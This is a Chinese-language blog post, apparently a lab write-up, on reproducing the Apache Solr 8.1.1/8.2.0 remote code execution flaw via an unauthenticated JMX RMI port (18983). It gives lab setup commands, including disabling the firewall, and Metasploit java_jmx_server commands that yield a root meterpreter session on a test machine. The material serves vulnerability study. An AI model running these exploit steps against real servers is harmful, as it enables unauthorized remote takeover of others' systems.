Apache Solr應用服務器存在遠程代碼執行漏洞??
1.描述
Apache Solr是一個開源的搜索服務,使用Java語言開發,主要基于HTTP和Apache Lucene實作的,
Solr是一個高性能,采用Java5開發,基于Lucene的全文搜索服務器,Solr是一個獨立的企業級搜索應用服務器,很多企業運用solr開源服務,原理大致是檔案通過Http利用XML加到一個搜索集合中,查詢該集合也是通過 http收到一個XML/JSON回應來實作,它的主要特性包括:高效、靈活的快取功能,垂直搜索功能,高亮顯示搜索結果,通過索引復制來提高可用性,提 供一套強大Data Schema來定義欄位,型別和設定文本分析,提供基于Web的管理界面等,
影響版本
- Apache Solr8.1.1
- Apache Solr8.2.0
環境
-
靶機:centos7
-
攻擊機:kali
-
攻擊軟體:msf
-
被攻擊環境: Apache Solr8.2.0
漏洞成因
默認的組態檔solr.in.sh的選項ENABLE_REMOTE_JMX_OPTS欄位值被設定為”true”,這會啟用JMX監視服務并會在公網中監聽一個18983的RMI埠,沒有任何認證,也就是說在無需身份驗證情況下,攻擊者結合使用JMX RMI就會造成遠程代碼攻擊,
在開放的埠上,利用 javax.management.loading.MLet的getMBeansFromURL 方法來加載一個遠端惡意的 MBean,就可以造成遠程代碼執行了, 遠端的惡意MBean來自于metasploit提供的exploit/multi/misc/java_jmx_server,具體的payload攻擊載荷是meterpreter,
環境搭建
- 首先在靶機centos中安裝Apache Solr8.2.0
wget http://archive.apache.org/dist/lucene/solr/8.2.0/solr-8.2.0.zip

- 啟動一個solr的樣例服務
啟動條件:
- 需要root權限
- 需要java8及以上版本
cd solr-8.2.0/bin
./solr -e dih -force

我們可以看到啟動成功了,這里注意如果你的靶機防火墻沒關的話,局域網內其他主機訪問不了的,所以如果你是要在局域網內其他主機打開這個URL的話請關閉靶機的防火墻,命令如下:
查看防火墻狀態:
systemctl status firewalld
關閉防火墻:
sudo systemctl stop firewalld

漏洞利用
我們這次使用的工具就是kali自帶的 msfconsole ,進入 msfconsole 輸入如下命令:
msfconsole
use exploit/multi/misc/java_jmx_server
show options
set RHOSTS 192.168.33.150 //靶機IP
set RPORT 18983
run


大概就是這樣,我們成功獲得靶機的root權限,可以看到前面靶機的root檔案夾下面有一個漏洞環境的檔案夾的,
不得不說 msf 真的??!還是不太熟練 msf 的操作,不太熟練 msf 的命令,等下次總結一下 msf 的命令吧!??
第一篇開始做漏洞復習按的文章,比較簡單哈!??,后面大家一起慢慢加油!!

轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/348190.html
標籤:其他
上一篇:webelementselenium-如何使用xpath找到元素并使用onclick鏈接
下一篇:攻防演練中攻擊方的思考
